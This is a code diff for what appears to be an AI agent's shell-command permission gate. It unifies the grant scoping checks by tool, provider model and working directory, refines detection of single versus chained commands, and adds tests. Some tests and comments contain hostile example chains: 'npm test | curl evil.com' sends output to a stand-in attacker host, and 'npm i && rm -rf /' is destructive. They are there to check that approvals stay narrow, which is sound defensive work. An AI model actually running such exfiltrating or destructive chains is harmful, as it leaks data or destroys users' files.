diff --git a/src/permission/authz-grants.ts b/src/permission/authz-grants.ts index 985df5e03..6ebc4b05b 100644 --- a/src/permission/authz-grants.ts +++ b/src/permission/authz-grants.ts @@ -61,6 +61,26 @@ export function cwdMatchesGrant( return workspace.roots.includes(realpathOr(requestCwd)); } +// The single place that decides whether a grant's tool/providerModel/cwd +// scope covers a request, independent of whether the grant's pattern matches +// the request's subject. Every live call site that needs to know "does this +// grant cover this request's scope" — evaluateApprovals, isRequestCoveredByGrant, +// hasExactFullCommandGrant — delegates here so a scoping-dimension change +// never has to be made in more than one place. +export function grantScopeMatches( + approval: Approval, + tool: string, + activeProviderModel: string | undefined, + requestCwd: string | undefined, + workspace: GrantWorkspace, +): boolean { + return ( + approval.tool === tool && + (approval.providerModel === undefined || approval.providerModel === activeProviderModel) && + cwdMatchesGrant(approval.cwd, requestCwd, workspace) + ); +} + export type EvaluateApprovalsInput = { tool: string; subject: string; @@ -70,19 +90,14 @@ export type EvaluateApprovalsInput = { workspace: GrantWorkspace; }; -// Grant-store evaluation via @intx/authz. Filters provider-model and cwd the -// same way isApproved does, then asks evaluateGrants for the highest-specificity +// Grant-store evaluation via @intx/authz. Filters provider-model and cwd via +// grantScopeMatches, then asks evaluateGrants for the highest-specificity // allow among package-compatible grants. Exact-escaped grants are checked with // matchesPattern (equality after unescape) first so a stored exact command is // never lost. export async function evaluateApprovals(input: EvaluateApprovalsInput): Promise { const { tool, subject, approvals, activeProviderModel, requestCwd, workspace } = input; - const scoped = approvals.filter( - (a) => - a.tool === tool && - (a.providerModel === undefined || a.providerModel === activeProviderModel) && - cwdMatchesGrant(a.cwd, requestCwd, workspace), - ); + const scoped = approvals.filter((a) => grantScopeMatches(a, tool, activeProviderModel, requestCwd, workspace)); if (scoped.length === 0) return false; for (const a of scoped) { diff --git a/src/permission/classify.ts b/src/permission/classify.ts index f7ab32fac..0b1b8bc89 100644 --- a/src/permission/classify.ts +++ b/src/permission/classify.ts @@ -384,12 +384,29 @@ export const MEGA_CHAIN_SEGMENT_THRESHOLD = 5; export const MEGA_CHAIN_NOTICE = `Chains of ${MEGA_CHAIN_SEGMENT_THRESHOLD}+ steps are approved once only — split into shorter commands for reusable approvals.`; +// The real (non-comment-only) chain segments of a shell command — the basis +// both shellApprovalScopes and isSingleShellCommand use to answer "is this +// one command or a chain." +function realShellSegments(command: string): string[] { + return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment)); +} + +// Whether `command` is exactly one real command — not a chain (`a && b`), not +// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate +// (src/permission/gate.ts) and the interactive scope ladder below, so a +// segmenting-rule change here reaches both. +export function isSingleShellCommand(command: string): boolean { + const segments = realShellSegments(command); + if (segments.length !== 1) return false; + return tokenize(segments[0]!).length > 0; +} + // Approval scopes for a shell command the operator may persist. Multi-segment // chains only offer the exact full string — a prefix like `npm *` would also // match `npm i && rm -rf /` on a later call (fail-closed). At or above // MEGA_CHAIN_SEGMENT_THRESHOLD, no scope is offered at all — see the constant. function shellApprovalScopes(command: string): ApprovalScope[] { - const segments = splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment)); + const segments = realShellSegments(command); if (segments.length === 0) return []; if (segments.length >= MEGA_CHAIN_SEGMENT_THRESHOLD) return []; if (segments.length === 1) { diff --git a/src/permission/gate.ts b/src/permission/gate.ts index ad8c1227e..8aa4a7f1c 100644 --- a/src/permission/gate.ts +++ b/src/permission/gate.ts @@ -6,6 +6,7 @@ import { buildRequests, isAutoAllowedShellCall, isAutoAllowedShellSegment, + isSingleShellCommand, callTargetsRestricted, commandTargetsRestricted, MEGA_CHAIN_SEGMENT_THRESHOLD, @@ -14,7 +15,7 @@ import { autoShellRuleForCall } from "./auto-shell-policy.js"; import { commandReferencesSensitivePath } from "../plugins/secret-guard-plugin.js"; import { runShellAuthzBlockReason } from "../shell/run-shell-authz.js"; import { matchesPattern, escapeGlobLiteral } from "./matcher.js"; -import { evaluateApprovals, cwdMatchesGrant, type GrantWorkspace } from "./authz-grants.js"; +import { evaluateApprovals, grantScopeMatches, type GrantWorkspace } from "./authz-grants.js"; import { splitChainedCommand, tokenize, isShellCommentOnly, stripCommentLines } from "./command.js"; import { createPathRestriction } from "./path-restriction.js"; import { createWorktreeRootsProvider, type RootsProvider } from "./worktree-roots.js"; @@ -30,17 +31,6 @@ import { currentTurnId } from "../perf/reactor-spans.js"; export type GateVerdict = { allowed: true } | { allowed: false; reason: string }; -// A run_shell pre-approval must name exactly one real command — not a chain -// (`a && b`), not a pipeline (`a | b`), not an empty or whitespace-only string. -// Rejecting anything else here keeps ask_operator's `command` argument from -// minting a grant broader than the single command the operator actually saw. -function isSingleShellCommand(command: string): boolean { - const trimmed = command.trim(); - if (trimmed.length === 0) return false; - if (splitChainedCommand(trimmed).length !== 1) return false; - return tokenize(trimmed).length > 0; -} - // Multi-segment shell may only short-circuit on an exact full-command grant. // Prefix globs like `npm *` must not match `npm i && curl x` — the unapproved // tail still needs a full-block operator decision. String equality (not glob) @@ -59,11 +49,7 @@ function hasExactFullCommandGrant( // storing a run_shell pattern). const normalized = stripCommentLines(fullCommand).trim(); return approvals.some( - (a) => - a.tool === tool && - a.pattern === normalized && - (a.providerModel === undefined || a.providerModel === activeProviderModel) && - cwdMatchesGrant(a.cwd, requestCwd, workspace), + (a) => a.pattern === normalized && grantScopeMatches(a, tool, activeProviderModel, requestCwd, workspace), ); } @@ -145,14 +131,7 @@ export function isRequestCoveredByGrant( isRestricted: (path: string, isWrite: boolean) => boolean, workspace: GrantWorkspace, ): boolean { - if (request.tool !== approval.tool) return false; - if (!cwdMatchesGrant(approval.cwd, request.cwd, workspace)) return false; - if ( - approval.providerModel !== undefined && - approval.providerModel !== activeProviderModel - ) { - return false; - } + if (!grantScopeMatches(approval, request.tool, activeProviderModel, request.cwd, workspace)) return false; if (request.tool !== "run_shell") { return matchesPattern(request.subject, approval.pattern); } diff --git a/src/permission/grant-scope.test.ts b/src/permission/grant-scope.test.ts new file mode 100644 index 000000000..66f642ab6 --- /dev/null +++ b/src/permission/grant-scope.test.ts @@ -0,0 +1,117 @@ +import { describe, test, expect } from "bun:test"; +import type { ToolCall } from "@intx/types/runtime"; +import type { Approval, PermissionRequest } from "./types.js"; +import { evaluateApprovals, grantScopeMatches, type GrantWorkspace } from "./authz-grants.js"; +import { createPermissionGate, isRequestCoveredByGrant } from "./gate.js"; + +// evaluateApprovals and isRequestCoveredByGrant each decide, independently, +// whether a grant's tool/providerModel/cwd scope covers a request. Both are +// expected to delegate to the same shared predicate (grantScopeMatches) +// rather than reimplementing the condition. This test drives the same +// grant+request pairs through all three and asserts they agree — a +// regression where one call site reimplements the check with subtly +// different semantics would fail here even if each function still "looks +// right" in isolation. +describe("grant tool/providerModel/cwd scoping agrees across call sites", () => { + const workspace: GrantWorkspace = { resolvedCwd: "/proj", roots: ["/proj"] }; + const noopRestricted = () => false; + + const grants: Approval[] = [ + { tool: "run_shell", pattern: "npm test" }, + { tool: "run_shell", pattern: "npm test", providerModel: "openai:gpt-5" }, + { tool: "run_shell", pattern: "npm test", cwd: "/proj" }, + { tool: "write_file", pattern: "npm test" }, + ]; + + const requests: Array<{ tool: string; cwd?: string | undefined; activeProviderModel?: string | undefined }> = [ + { tool: "run_shell", cwd: "/proj", activeProviderModel: "openai:gpt-5" }, + { tool: "run_shell", cwd: "/proj", activeProviderModel: "anthropic:opus" }, + { tool: "run_shell", cwd: "/other", activeProviderModel: "openai:gpt-5" }, + { tool: "run_shell", cwd: undefined, activeProviderModel: undefined }, + { tool: "write_file", cwd: "/proj", activeProviderModel: undefined }, + ]; + + for (const grant of grants) { + for (const req of requests) { + test(`grant ${JSON.stringify(grant)} vs request ${JSON.stringify(req)}`, async () => { + const expected = grantScopeMatches(grant, req.tool, req.activeProviderModel, req.cwd, workspace); + + const viaEvaluateApprovals = await evaluateApprovals({ + tool: req.tool, + subject: "npm test", + approvals: [grant], + activeProviderModel: req.activeProviderModel, + requestCwd: req.cwd, + workspace, + }); + + const request: PermissionRequest = { + tool: req.tool, + action: req.tool, + subject: "npm test", + scopes: [], + ...(req.cwd !== undefined ? { cwd: req.cwd } : {}), + }; + const viaGate = isRequestCoveredByGrant(request, grant, req.activeProviderModel, noopRestricted, workspace); + + // Both live call sites additionally require the pattern to match the + // subject, which is true for every case here ("npm test" grants an + // exact "npm test" subject), so a scope mismatch is the only thing + // that can make either disagree with the shared predicate. + expect(viaEvaluateApprovals).toBe(expected); + expect(viaGate).toBe(expected); + }); + } + } +}); + +// hasExactFullCommandGrant (gate.ts) is the third live call site grantScopeMatches +// unifies, but it is not exported — it only surfaces through the exact-full-command +// replay path inside evaluate(). This drives that path directly with grants that +// grantScopeMatches would refuse (wrong cwd, wrong providerModel) to confirm the +// replay never fires when the shared predicate says no, matching the coverage the +// other two call sites get above. +describe("hasExactFullCommandGrant agrees with grantScopeMatches", () => { + const full = "npm i && curl x"; + const shellCall = (command: string): ToolCall => ({ id: "c", name: "run_shell", arguments: { command } }); + + test("does not replay a grant scoped to a different cwd", async () => { + let asked = 0; + const gate = createPermissionGate({ + approvals: [{ tool: "run_shell", pattern: full, cwd: "/other-project" }], + requestApproval: async () => { asked++; return { allow: true }; }, + interactive: true, + skipPermissions: false, + }); + expect((await gate.evaluate(shellCall(full))).allowed).toBe(true); + // grantScopeMatches would refuse this grant (cwd mismatch), so the + // exact-full-command shortcut must not fire — the operator is still asked. + expect(asked).toBeGreaterThan(0); + }); + + test("does not replay a grant scoped to a different provider model", async () => { + let asked = 0; + const gate = createPermissionGate({ + approvals: [{ tool: "run_shell", pattern: full, providerModel: "openai:gpt-5" }], + providerName: "anthropic", + model: "opus", + requestApproval: async () => { asked++; return { allow: true }; }, + interactive: true, + skipPermissions: false, + }); + expect((await gate.evaluate(shellCall(full))).allowed).toBe(true); + expect(asked).toBeGreaterThan(0); + }); + + test("replays a grant whose scope grantScopeMatches accepts", async () => { + let asked = 0; + const gate = createPermissionGate({ + approvals: [{ tool: "run_shell", pattern: full }], + requestApproval: async () => { asked++; return { allow: true }; }, + interactive: true, + skipPermissions: false, + }); + expect((await gate.evaluate(shellCall(full))).allowed).toBe(true); + expect(asked).toBe(0); + }); +}); diff --git a/src/permission/matcher.ts b/src/permission/matcher.ts index 56db797cd..9fc5b2fed 100644 --- a/src/permission/matcher.ts +++ b/src/permission/matcher.ts @@ -1,7 +1,5 @@ import { matchPattern } from "@intx/authz"; -import type { Approval } from "./types.js"; - // Exact-command grants (see escapeGlobLiteral) store a backslash before every // glob metacharacter so a command like `rm -rf build/*` never becomes the // wildcard `rm -rf build/*`. @intx/authz's matchPattern has no escape syntax — @@ -38,25 +36,3 @@ export function matchesPattern(subject: string, pattern: string): boolean { } return matchPattern(pattern, subject); } - -// True when any stored approval for this tool matches the subject. The subject -// is the shell command segment (run_shell) or the file path (write/edit). An -// approval bound to a `providerModel` only matches when `activeProviderModel` -// equals it, so a grant scoped to one model never leaks to another. An -// approval bound to a `cwd` (project-scoped) only matches when `requestCwd` -// equals it, so a project grant from one repo never leaks into another. -export function isApproved( - tool: string, - subject: string, - approvals: readonly Approval[], - activeProviderModel?: string, - requestCwd?: string, -): boolean { - return approvals.some( - (a) => - a.tool === tool && - matchesPattern(subject, a.pattern) && - (a.providerModel === undefined || a.providerModel === activeProviderModel) && - (a.cwd === undefined || a.cwd === requestCwd), - ); -} diff --git a/src/permission/permission.test.ts b/src/permission/permission.test.ts index 4a546738a..87d65a7a0 100644 --- a/src/permission/permission.test.ts +++ b/src/permission/permission.test.ts @@ -12,9 +12,9 @@ import { isShellNoOp, stripCommentLines, } from "./command.js"; -import { matchesPattern, isApproved, escapeGlobLiteral } from "./matcher.js"; +import { matchesPattern, escapeGlobLiteral } from "./matcher.js"; import { evaluateApprovals } from "./authz-grants.js"; -import { classifyTool, buildRequests, isAutoAllowedShellCall } from "./classify.js"; +import { classifyTool, buildRequests, isAutoAllowedShellCall, isSingleShellCommand } from "./classify.js"; import { createPermissionGate } from "./gate.js"; import { createMcpToolPermissionRegistry, registerMcpClientTools } from "../mcp/tool-permissions.js"; import { listWorktreeRoots, createWorktreeRootsProvider } from "./worktree-roots.js"; @@ -241,19 +241,6 @@ describe("matchesPattern (@intx/authz + exact escapes)", () => { }); }); -describe("isApproved", () => { - const approvals: Approval[] = [ - { tool: "run_shell", pattern: "npm *" }, - { tool: "write_file", pattern: "src/*" }, - ]; - test("matches by tool and pattern", () => { - expect(isApproved("run_shell", "npm test", approvals)).toBe(true); - expect(isApproved("run_shell", "curl x", approvals)).toBe(false); - expect(isApproved("write_file", "src/a.ts", approvals)).toBe(true); - expect(isApproved("write_file", "lib/a.ts", approvals)).toBe(false); - }); -}); - describe("evaluateApprovals (@intx/authz evaluateGrants)", () => { const approvals: Approval[] = [ { tool: "run_shell", pattern: "npm *" }, @@ -1884,13 +1871,6 @@ describe("scoped grants", () => { expect(routed[0]).toEqual({ tool: "run_shell", pattern: "npm *", providerModel: "openai:gpt-5" }); }); - test("a provider-model approval does not auto-allow under a different model", () => { - const approvals: Approval[] = [{ tool: "run_shell", pattern: "npm *", providerModel: "openai:gpt-5" }]; - expect(isApproved("run_shell", "npm test", approvals, "openai:gpt-5")).toBe(true); - expect(isApproved("run_shell", "npm test", approvals, "anthropic:opus")).toBe(false); - expect(isApproved("run_shell", "npm test", approvals, undefined)).toBe(false); - }); - test("a seeded provider-model approval auto-allows when the gate's model matches", async () => { let asked = 0; const gate = createPermissionGate({ @@ -2021,6 +2001,50 @@ describe("preApprove", () => { expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true); expect(asked).toBe(1); }); + + test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => { + // "echo hi && # why" has one real segment once the trailing comment is + // filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes) + // already filters comment-only segments before counting, so it offers the + // full per-command ladder (prefix + exact) as if this were one command. + // preApprove's gate must reach the same verdict, since both answer the + // same underlying "is this a single shell command" question. + const command = "echo hi && # why"; + + const gate = createPermissionGate({ + approvals: [], + requestApproval: async () => ({ allow: true }), + interactive: true, + skipPermissions: false, + }); + gate.preApprove("run_shell", command); + const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1; + + const requests = buildRequests(shellCall(command)); + const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1; + + expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle); + }); + + test("isSingleShellCommand narrows a pure-comment command to false", () => { + // Before the shared realShellSegments predicate, gate.ts's own + // isSingleShellCommand did not filter comment-only segments, so a + // pure-comment "command" like "# just a comment" counted as one real + // segment and was treated as single. The shared predicate filters it + // out, leaving zero segments, so this must now be false. + expect(isSingleShellCommand("# just a comment")).toBe(false); + }); + + test("isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment", () => { + // splitChainedCommand splits on "&&" before recognizing that "#" extends + // a comment to end of line, so "# a && b" splits into ["# a", "b"] even + // though a real shell treats the whole line as one comment (nothing + // after "#" ever runs). Filtering the comment-only "# a" segment leaves + // exactly one real segment, "b", so this is scored as a single command — + // matching shellApprovalScopes' existing behavior, not a regression + // introduced here. + expect(isSingleShellCommand("# a && b")).toBe(true); + }); }); describe("isAutoAllowedShellCall", () => {